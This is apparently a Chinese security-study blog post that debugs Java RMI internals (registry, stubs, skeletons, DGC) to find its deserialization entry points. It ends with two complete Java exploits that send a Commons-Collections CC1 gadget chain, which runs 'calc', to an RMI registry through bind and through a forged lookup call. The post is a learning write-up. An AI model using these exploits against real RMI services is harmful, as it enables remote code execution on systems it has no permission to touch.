前言
RMI,全称Remote Method Invocation,远程方法调用
也是后续漏洞中最为基本的利用手段之一,需要注意的是 RMI 当中的攻击手法只在 jdk8u121 之前才可以进行攻击,因为在 8u121 之后,bind
、rebind
、unbind
这三个方法只能对 localhost 进行攻击
参考文章:
负数零:https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
Boogipop:https://boogipop.com/2023/03/02/%E6%B5%85%E5%AD%A6RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
Drunkbaby:
以及p神的《java安全漫谈》
基础
RMI分为客户端和服务端,在 Java 中客户端可以通过RMI调用来服务端的方法,危险程度无需多言
RMI 依赖的通信协议为 **JRMP(Java Remote Message Protocol,Java 远程消息交换协议)**,该协议为 Java 定制,要求服务端与客户端都为 Java 编写
流程图如下:
服务端注册了 RMI 后会在 RMI Registry 进行注册,之后客户端调用方法都是直接从这个注册中心取出
RMI分为三个主体部分:
Client-客户端:客户端调用服务端的方法
Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果
Registry-注册中心:提供服务注册与服务获取,其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用
Registry自己不会执行远程方法,但它可以通过RMI Server在上面注册一个Name到对象的绑定关系,
然后用 RMI Client 通过 Name 向 RMI Registry 查询,得到这个绑定关系,最后再连接 RMI Server
因此,远程方法实际上是在 RMI Server 上调用的
注:在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功
实现
服务端
先编写一个远程接口
public interface IRemoteHelloWorld extends Remote { public String hello() throws RemoteException; }
- 要求作用域为 public
- 继承 Remote 接口
- 其中的接口方法抛出异常
定义该接口的实现类
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld { protected RemoteHelloWorld() throws RemoteException { super(); } public String hello() throws RemoteException { System.out.println("call from"); return "Hello world"; } }
- 实现远程接口,这里是直接实现前面定义的 IRemoteHelloWorld 接口了,也可以实现 Remote 接口
- 继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架)。 这个和通信原理有关
- 构造函数需要抛出一个RemoteException错误
- 实现类中使用的对象必须都可序列化,即都继承
java.io.Serializable
注册远程对象
public class RMIServer { private void start() throws Exception { RemoteHelloWorld h = new RemoteHelloWorld(); // 实例化远程对象 LocateRegistry.createRegistry(1099); // 创建注册中心 Naming.rebind("rmi://127.0.0.1:1099/Hello", h); // 将RemoteHelloWorld对象绑定到Hello这个名字上 // 等价于Naming.bind("Hello", new RemoteHelloWorld()); } public static void main(String[] args) throws Exception { new RMIServer().start(); } }
port 默认是 1099,不写会自动补上,其他端口必须写
bind 的绑定这里,只要和客户端去查找的 registry 一致即可
最终的代码:
package com.RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello world";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
这里的Server其实包含了Registry和Server两部分
注:如果RMI Registry在本地运行,那么host和port是可以省略的,此时host默认是localhost ,port默认是1099
客户端
package com.RMI;
import java.rmi.Naming;
public class TrainMain {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
String ret = hello.hello();
System.out.println(ret);
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}
客户端就比服务端简单多了,使用Naming.lookup
在 Registry 中寻找到名字是 Hello 的对象,后面的操作和本地操作一致。
现在我们先运行服务端,再运行客户端
可以看到服务端打印了call from,客户端远程调用了 hello()
方法打印出了Hello world
通信过程
直接引用其它师傅的,懒得花时间用wireshark抓包了
数据端与注册中心(1099 端口)建立通讯
数据端与注册中心(1099 端口)建立通讯完成后,RMI Server 向远端发送了⼀个 “Call” 消息,远端回复了⼀个 “ReturnData” 消息
然后 RMI Server 端新建了⼀个 TCP 连接,连到远端的 24395 端⼝
AC ED 00 05
是常见的 Java 反序列化 16 进制特征
注意以上两个关键步骤都是使用序列化语句
客户端新起一个端口与服务端建立 TCP 通讯
客户端发送远程引用给服务端,服务端返回函数唯一标识符,来确认可以被调用
同样使用序列化的传输形式
对应我们代码里的:
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
这里会返回一个 Proxy 类型函数,这个 Proxy 类型函数会在我们后续的攻击中用到
客户端序列化传输调用函数的输入参数至服务端
这一步的同时:服务端返回序列化的执行结果至客户端
对应我们的代码,不幸的是我写的构造方法是无参(
String ret = hello.hello();
不过可以看出所有的数据流都是使用序列化传输的,那必然在客户端和服务带都存在反序列化的语句
至此,我们可以确定 RMI 是一个基于序列化的 Java 远程方法调用机制
断点调试
首先 RMI 有三部分:
- RMI Registry
- RMI Server
- RMI Client
如果两两通信就是 3+2+1 = 6 个交互流程,还有三个创建的过程,一共是九个过程
工作原理:
接下来是漫长的调试环节,挺好
创建远程服务
此处无漏洞
断点打在 RMIServer 的创建远程对象这里
tips:如果跟进的时候没步入到 UnicastRemoteObject 类,请检查设置
发布远程对象
开始调试,首先是到远程对象的构造函数 RemoteHelloWorld
,现在我们要把它发布到网络上去,我们要分析的是它如何被发布到网络上去的
RemoteHelloWorld 这个类是继承 UnicastRemoteObject
的,所以先会到父类的构造函数,父类的构造函数这里的 port 传入了 0,它代表一个随机端口
这个过程不同于注册中心的 1099 端口,这是远程服务的
接下来进 exportObject()
这是一个静态函数,它主要负责将远程服务发布到网络上
在一开始构造 RemoteHelloWorld 实现类的时候,我们继承了 UnicastRemoteObject
如果不继承 UnicastRemoteObject 的话,就要改成下面的代码:
public class RemoteHelloWorld implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}
需要手动调用 exportObject
接下来我们看这个静态函数的参数:
public static Remote exportObject(Remote obj, int port) throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}
第一个参数是 obj 对象,第二个参数是 new UnicastServerRef(port)
,是用来处理网络请求的
f7 + 点击UnicastServerRef 跟进
如果进去是 .class 文件的,需要下载 sun 包源码并添加源到 IDEA,参考https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
这里new了一个LiveRef(port)
,这是步骤一的核心,它算是一个网络引用的类,之后的大部分其他对象都是 LifeRef 的一个封装
跟进这个构造方法看看
又是一个构造函数,先跟进this
第一个参数 ID,第三个参数为 true,第二个参数调用了 TCPEndpoint ,这是一个网络请求的类,可以点进去看看
public TCPEndpoint(String host, int port) {
this(host, port, null, null);
}
往它的构造方法传进去ip和端口就能进行网络请求
继续跟进 LiveRef 里的this
看一下赋值,发现 host 和 post 是赋值到了 endpoint 里面,而 endpoint 又是被封装在 LiveRef 里面的,所以记住数据是在 LiveRef 里面即可,并且这一 LiveRef 至始至终只会存在一个
以上就是 LiveRef 创建的过程
执行完过后就退回了最初的开始UnicastServerRef:super(new LiveRef(port));
接下来就是调用父类的构造方法,传入我们上面创建好的 LiveRef 进行封装:
此乃第一次封装
然后回到了最开始的new UnicastServerRef
,继续跟进,我们后续的操作都与 exportObject()
有关,基本都是在调用它,一路 f7 即可
这里可以发现 sref 也是对 LiveRef 的封装,继续跟进 sref.exportObject
直到 Util.createProxy
这里的 getClientRef
就是获取一个 LiveRef 封装,而且居然在服务端出现了 stub 的创建
客户端通过stub获取远程对象,为什么服务端会出现客户端的 stub 呢?是因为服务端需要先将 stub 注册到注册中心,之后客户端直接从 stub 获取即可,可以参考概念介绍中的流程图来分析
接着我们跟进 createProxy
底下变量 implClass 是远程对象的实现类,clientRef 则依旧是封装的 LiveRef
往下走,来到判断这里
这里的 stubClassExists
实际上就是判断类名是否加了个 _stub
后缀,有就返回 true,当然这里肯定是没有的,因为是我们自定义的,在 jdk 的 registry 包中有自带 _stub 后缀的类,这一步用不上所以不细讲
继续往下
有点眼熟,是标准的创建动态代理的过程
第一个参数是 AppClassLoader,第二个参数是一个远程接口,第三个参数是调用处理器,调用处理器里面只有一个 ref,它也是和之前我们看到的 ref 是同一个,创建远程服务当中永远只有一个 ref
创建完 stub 之后就出来了
这里的 stub 就是创建好了的动态代理
接下来往下走,到Target
这里
Target 这里相当于一个总的封装,将所有要用的东西放到 Target 里面,我们可以进去看一看 Target 里面都放了什么
右下角的两个 ref 都是同一个,查一下id就可以知道
一路 f8,回到之前的 Target,下一条语句是 ref.exportObject(target)
,也就是把 target 这个封装好了的对象发布出去
一路跟进到 TCPTransport 里面
从这里开始,listen()
方法真正处理网络请求
跟进去
建了一个新的 socket,跟进去
至此对 port 进行初始化,随机赋一个值
返回 server 后回到 listen,一路f8出来,观察一下整个流程结束之后 Target 里面是增加了 port,就是这里的1705
发布完成之后的记录
跟进到 Transport#exportObject
,在里面保存了我们的 Target 到一个 Map 中
跟进putTarget
方法中,进入ObjectTable类,最后将 target 放入 objtable 属性中
于是第一步流程结束,边调试边修报错跟了5小时左右了(昏迷
小结
从思路来说是不难的,也就是发布远程对象,用 exportObject()
指定到发布的 IP 与端口,端口的话是一个随机值。至始至终复杂的地方其实都是在赋值,创建类,进行各种各样的封装,实际上并不复杂
还有一个过程就是发布完成之后的记录,理解的话,类似于日志就可以了,这些记录是保存到静态的 HashMap 当中
这一块是服务端自己创建远程服务的这么一个操作,所以这一块是不存在漏洞的(您白干了
创建注册中心+绑定
创建注册中心与服务端是独立的,所以谁先谁后无所谓,本质上是一整个东西
把断点下在 createRegistry
这里,开始调试
创建注册中心
进 createRegistry ,经过一系列的初始化步骤后进入 RegistryImpl
的构造方法
这里122行开始 if 里面的 try-catch 部分都是安全检查,不是特别重要,右下角可以看到新建了一个 RegistryImpl 对象
直接 f8 到 else 分支
又创建了一个 LiveRef ,然后塞进 UnicastServerRef,和前面的创建远程服务相似,跟进 setup 方法
先赋值,然后进行 exportObject 的调用
这里对比一下 step1 发布远程对象和 step2 创建注册中心的区别:
区别在于传入 UnicastServerRef#exportObject
的第三个参数不同,即 permanent ,第一张是 false,第二张是 true,这代表我们创建注册中心这个对象,是一个永久对象,而之前远程对象是一个临时对象
f7 跟进 exportObject,就和发布远程对象一样,到了创建 Stub 的阶段
跟进到 createProxy()
中,这里做了一个判断
在step1中也进入了这里,但是没过 if 判断,但是这次 remoteClass 为 RegistryImpl
类,现在跟进 stubClassExists
看看
这里判断是否能获取到 RegistryImpl_Stub
这个类,即这个类是否存在,而这里是存在的
那么就进了 if 分支,对比 step1 的 stub 用动态代理创建,这里是直接进createStub(remoteClass, clientRef)
创建的
这里的 ClientRef 也是 LiveRef 的封装
可以看到这里通过 forName 反射获取 ReigistryImpl
类,然后执行完毕后跳出回到Util#createProxy
在这里设置了 Skeleton(骨架)
从一开始的流程图我们知道,RMI是一个对称分布的结构,客户端有stub,服务端就对应有Skeleton,客户端通过stub请求远程方法,服务端就通过Skeleton去调用方法,然后通过Skeleton获取结果,最后传给客户端Stub,客户端就从Stub获取结果
跟进 setSkeleton
里面一个 createSkeleton
,明显是用来创建 Skeleton 的,跟进去
forName 反射获取 Skeleton,和上面的 CreateStub 很像
之后退回setSkeleton
,继续往下执行,创建了 Target
Target 部分的作用也与之前一样,用于储存封装的数据,和 step1 完全一致的步骤,与 step1 相比多出来个 skel
直接 skip 到TCPTransport#exportObject
f7跟进,到putTarget
这里,它会把封装的数据放进去
跟进去,看看封装了哪些数据进去
直接 f8 到后面,看 static 中的数据
点开 objTable
中查看三个 Target,我们逐个分析一下,分析的话主要还是看 ref
先看Target@879:
disp 和 stub,它们的端口都是1099,也就是说 1099 注册中心的一些端口数据都有了,可以看到这两个 ref 是同一个
然后是Target@804,存储里面需要我们关注的 stub 是 $Proxy
对象的,查看它的 ref
再看Target@834
发现它的 stub 为 DGCImpl_Stub,分布式垃圾回收的一个对象,它并不是我们刚才创建的
所以这里就是起了几个远程服务,一个端口是固定了,另外两个端口是不固定的,随机产生的。至于为什么这里有三个 Target 呢?后面会提到
绑定
修改一下我们的server代码
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("rmi://127.0.0.1:1099/Hello", h);
}
断点下在 bind 那里
首先检查是否是本地绑定的
接下来检查 bindings 这里面是否有东西,其实 bindings 就是一个 HashTable。如果里面有数据的话就抛出异常
继续往前走,就是 bindings.put(name, obj);
,就是把 IP 和端口放进去,然后绑定就结束了
小结
和发布远程对象很类似,不过多了一个持久的对象,这个持久的对象就成为了注册中心
绑定,一句话形容一下就是 hashTable.put(IP, port)
(又是四个小时过去了…
客户端请求注册中心
这一部分是存在漏洞的点,因为前文我们在 Wireshark 的抓包里头说到:”RMI 是一个基于序列化的 Java 远程方法调用机制”
这里就存在一些有问题的反序列化
获取注册中心
此处无漏洞
修改一下客户端的代码
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) registry.lookup("Hello");
String ret = hello.hello();
然后三句话都下断点,开始调试
进到 getRegistry()
方法里面,流程和之前的很像
新建了一个 Ref,然后把该封装的都封装到 Ref 里面进去,这里封装的是 127.0.0.1:1099
这样我们就获取到了注册中心的 Stub,下一步就是去查找远程对象
查找远程对象(漏洞点1)
接下来就是跟lookup
了
喜报,f7 刚走一步就飞出去到 Logger 类了
不过调用栈这里倒是写着
由于 RegsitryImpl_Stub 是class文件无法调试所以跳过了,直接开始分析这里的逻辑
先看我们传入的参数 param_1="Hello"
,即 String var1
发现这个 var1 会作为序列化数据传进去,即第94行的var3.writeObject(var1)
下一步,我们看到第99行的super.ref.invoke(var2);
,这里的父类是我们之前说的 UnicastRef
类
这里的 invoke()
方法是类似于激活的方法,invoke()
方法里面会调用 call.executeCall()
,它是真正处理网络请求的方法,也就是客户端的网络请求都是通过这个方法实现的
在invoke这里下断点继续调试,得出我们的逻辑现在是 UnicastRef#invoke()
-> UnicastRef#call.executeCall()
-> StreamRemoteCall#out.getDGCAckHandler()
注意到这里是一个 try 语句,然后底下还有个令人在意的readObject
我们先看一下这里的in
是从哪来的
in 就是数据流里面的东西。这里获取异常的本意应该是在报错的时候把一整个信息都拿出来,这样会更清晰一点,但是这里就出问题了 —— 如果一个注册中心返回一个恶意的对象,客户端进行反序列化,这就会导致漏洞。这里的漏洞相比于其他漏洞更为隐蔽
也就是说,只要调用
invoke()
,就会导致漏洞。RMI 在设计之初并未考虑到这个问题,导致客户端都是易受攻击的。
其它readObject
Stub 底下还有别的 readObject
调 lookup 就会触发
list 也干了
rebind,unbind都会调用super.ref.invoke
,它们也干了
以上就是注册中心与客户端进行交互时会产生的攻击
客户端请求服务端(漏洞点2)
此为客户端请求的第三句话:String ret = hello.hello();
跟进去,来到动态代理类的RemoteObjectInvocationHandler#invoke
,然后 f8 跳过上面关于抛出异常的判断,看最后一句
明显是方法调用,跟进去来到ref.invoke
这里
这是一个重载的方法,作用是创建一个连接,跟进到 invoke 里面
这里面有个marshalValue
方法,我这里进不去,因为我调用的方法里面没有传入参数,直接看看源码
一堆类型判断,最底下一个序列化,然后继续
是前面刚提过漏洞的call.executeCall()
,上面已经走过一次原理了,这里的主角不是这个
直接往后看
判断返回值是否为空,不为空则对结果进行unmarshalValue
跟进去,跳过中间的一串类型判断,直接看最后一行
又是一个反序列化的漏洞点
客户端一系列主动请求的小结
- 注册中心 –> 服务端,查找远程对象时:服务端打客户端,入口类在
call.executeCall()
,里面抛出异常的时候会进行反序列化。
这里可以利用 URLClassLoader 类加载来打 - 服务端 –> 客户端:一个是
call.executeCall()
,另一个点是unmarshalValue
代码流程:分为三步走,先获取注册中心,再查找远程对象,查找远程对象这里获取到了一个 ref,最后客户端发出请求,与服务端建立连接,进行通信
注册中心处理客户端请求(漏洞点3)
因为客户端那里,我们操作的是 Stub,服务端这边操作的是 Skel。在有了 Skel 之后应当是存在 Target 里面的
然后在服务端开debug,断点打到Transport#serviceCall
处理 Target 的地方,运行客户端
直接往下走,看看Target里面包含了什么
里面包含一个 stub,stub 中是一个 ref,这个 ref 对应的是 1099 端口,即注册中心
再往下走 final Dispatcher disp = target.getDispatcher();
是将 skel
的值放到 disp 里面
继续往下走,会调用 disp 的 dispatch 方法,我们跳进去看一下 disp.dispatch()
跟进去,经过 skel 的判断,进到oldDispatch
这里
跟进,来到 skel.dispatch
这里
这里就是常用的客户端打注册中心的攻击方式,跟进,一脚踩进 .class 里面审源码
这段源码基本都是在做 case 分支的工作
我们与注册中心进行交互可以使用如下几种方式:
- list
- bind
- rebind
- unbind
- lookup
这几种方法位于 RegistryImpl_Skel#dispatch
中,也就是我们现在 dispatch 这个方法的地方
如果存在对传入的对象调用 readObject
方法,则可以利用,dispatch
里面对应关系如下:
0->bind:存在readObject
,可以攻击
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
1->list:无readObject
,不可利用
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
2->lookup:存在readObject
,可利用
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
3->rebind:可利用
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
4->unbind:可利用
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
也就是说除了 list 都可以利用
小结
注册中心就是处理 Target,进行 Skel 的生成与处理
漏洞点是在 dispatch 这里,存在反序列化的入口类。这里可以结合 CC 链子打的
服务端处理客户端请求
此处得到的 Skel 是动态代理 $Proxy0
这个类的,之前我们提到过其实是封装了三个 Target 的
断点下俩:
动态代理的 stub
f9 几次,直到这里的 Target 里的 Stub 为我们的 proxy 动态代理
在这种情况下,我们到 dispatch
方法下,跟进
此处 skel 为null,所以不会执行 oldDispatch 方法
往下走,直到获取输出流以及 method ,method就是我们写的hello()
方法
继续往下走,可以发现熟悉的方法
是unmarshalValue
方法,又是一个漏洞点,我们依旧因为没有传参进不去(
DGC 的 stub(漏洞点4)
这个这里简单写一下吧,跟了四天累了(
DGC就是RMI里垃圾回收机制,具体介绍如下:
分布式垃圾回收,又称 DGC,RMI 使用 DGC 来做垃圾回收,因为跨虚拟机的情况下要做垃圾回收没办法使用原有的机制。我们使用的远程对象只有在客户端和服务端都不受引用时才会结束生命周期。
而既然 RMI 依赖于 DGC 做垃圾回收,那么在 RMI 服务中必然会有 DGC 层,在 yso 中攻击 DGC 层对应的是 JRMPClient,在攻击 RMI Registry 小节中提到了 skel 和 stub 对应的 Registry 的服务端和客户端,同样的,DGC 层中也会有 skel 和 stub 对应的代码,也就是 DGCImpl_Skel 和 DGCImpl_Stub,我们可以直接从此处分析,避免冗长的 debug。
断点需要下在 ObjectTable
类的 putTarget()
方法里面,然后调试服务端
f9 直到 stub 为 DGCImpl,然后看一下 DGC 的运行原理
将 Target 放到一个静态表里面,这里静态表第三点的时候已经说过了,在ObjectTable 里面封装了三个 Target
这个 DGC 的 Target 挺奇妙的,是已经被封装到了 static 里面,我们去看 static 里面,发现它已经被封装进去了
它是怎么被创建的呢?
在 DGC 这个类在调用静态变量的时候,就会完成类的初始化
类的初始化是由 DGCImpl 这个类完成的,我们跟到 DGCImpl 中去
我们可以在创建对象的地方打个断点
后续的过程,首先是 new 了很多对象,这些其实都是 Target 的一堆属性,不过这是封装之前的
后续的部分,createProxy()
方法这里,和注册中心创建远程服务的特别像
跟进去,会看到一个 createStub()
方法,跟进去
这里和注册中心创建远程服务一样,尝试是否可以获取到这一个类 ——DGCImpl_Stub
这一个 DGCImpl_Stub 的服务至此已经被创建完毕了,它也是类似于创建远程服务一样,但是它做的业务不一样。注册中心的远程服务是用于注册的,这个是用于内存回收的,且端口随机
跳出来回到 DGCImpl , setSkeleton()
这个过程就是在 disp 里面创建 skel
,和之前是一样的
我们重点关注一下 DGC 的 Stub 里面有漏洞的地方
直接去看 DGCImpl_Stub
这个类,它有两个方法,一个是 clean,另外一个是 dirty。clean 就是”强”清除内存,dirty 就是”弱”清除内存
而 dirty 里面存在 readObject
那么同样在 DGCImpl_Skel
这个类的 dispatch 方法下也存在反序列化的漏洞
DGC小结
是自动创建的一个过程,用于清理内存
漏洞点在客户端与服务端都存在,存在于 Skel
与 Stub
当中。这也就是所谓的 JRMP 绕过
Attack
攻击RMI Registry
我们已经知道 RMI Registry 可以管理远程对象,类似于远程对象的“后台”
而我们与注册中心交互共有这几种方式:
- 0 -– bind
- 1 -– list
- 2 -– lookup
- 3 -– rebind
- 4 -– unbind
那么我们能否直接访问这个“后台”,然后修改远程服务器上 Hello 对应的对象呢?
答案是不行的,Java8u121 之后对远程访问 RMI Registry 做了限制,只有来源地址是localhost的时候,才能调用rebind、bind、unbind等方法,直接调用的话会报错
不过 list 和 lookup 方法可以远程调用
list
list方法可以列出目标上所有绑定的对象
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
而 lookup 作用就是获得某个远程对象,在这里客户端的代码中一开始就使用了lookup获取了hello对象
前面已经分析过了,list 对应的是 case1
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
无法进行反序列化,攻击面太窄
bind 或 rebind
这两个的case都是存在反序列化的,进行反序列化的参数是参数名以及远程对象
所以这个 bind 和 rebind 的服务端,就有概率可以作为反序列化攻击的一个入口类,如果服务端这里存在 CC 链相关的组件漏洞,那么就可以反序列化攻击,这里我们就以 CC1 为例
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
之前研究 cc1 的时候我们知道它的反序列化入口是在 AnnotationInvocationHandler#readObject
,现在我们要让客户端的 bind()
方法执行 readObject()
前面的分析,客户端收到信息的时候是一个 Proxy 对象,我们需要让 Proxy 对象被执行的时候去调 readObject()
方法
可以先点进去 Proxy 对象看一看,其中有一个非常引人注目的方法 —— newProxyInstance()
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
/*...*/
/*
* Invoke its constructor with the designated invocation handler.
*/
try {
/*...*/
final Constructor<?> cons = cl.getConstructor(constructorParams);
final InvocationHandler ih = h;
if (!Modifier.isPublic(cl.getModifiers())) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
cons.setAccessible(true);
return null;
}
});
}
return cons.newInstance(new Object[]{h});
} /*...*/
}
上面的是传参,下面的是很明显的存在反序列化漏洞的地方,所以我们把 CC1 的那串恶意类拿出来就可以了,让 Proxy 执行 newProxyInstance()
即可
package com.example.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMICC1bind {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); // 这里实际上是将一个代理对象转换为了 Remote 对象,因为 bind()方法需要传入 Remote 对象
registry.bind("test",remote);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","0w0");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}
rebind
同理,只需要替换 bind 即可
unbind 或 lookup
前面分析过了,同样有着readObject
大致的思路还是和 bind/rebind
思路是一样的,但是 lookup 这里只可以传入 String
类型
这里我们可以通过伪造 lookup
连接请求进行利用,修改 lookup
方法代码使其可以传入对象
我们可以利用反射来实现这种攻击
package com.example.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class RMICC1lookup {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
// 获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","0w0");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}
攻击客户端
上面我们分析过,在 unmarshalValue()
那个地方存在入口类
注册中心攻击客户端
对于注册中心来说,我们还是从这几个方法触发:
- bind
- unbind
- rebind
- list
- lookup
除了unbind
和rebind
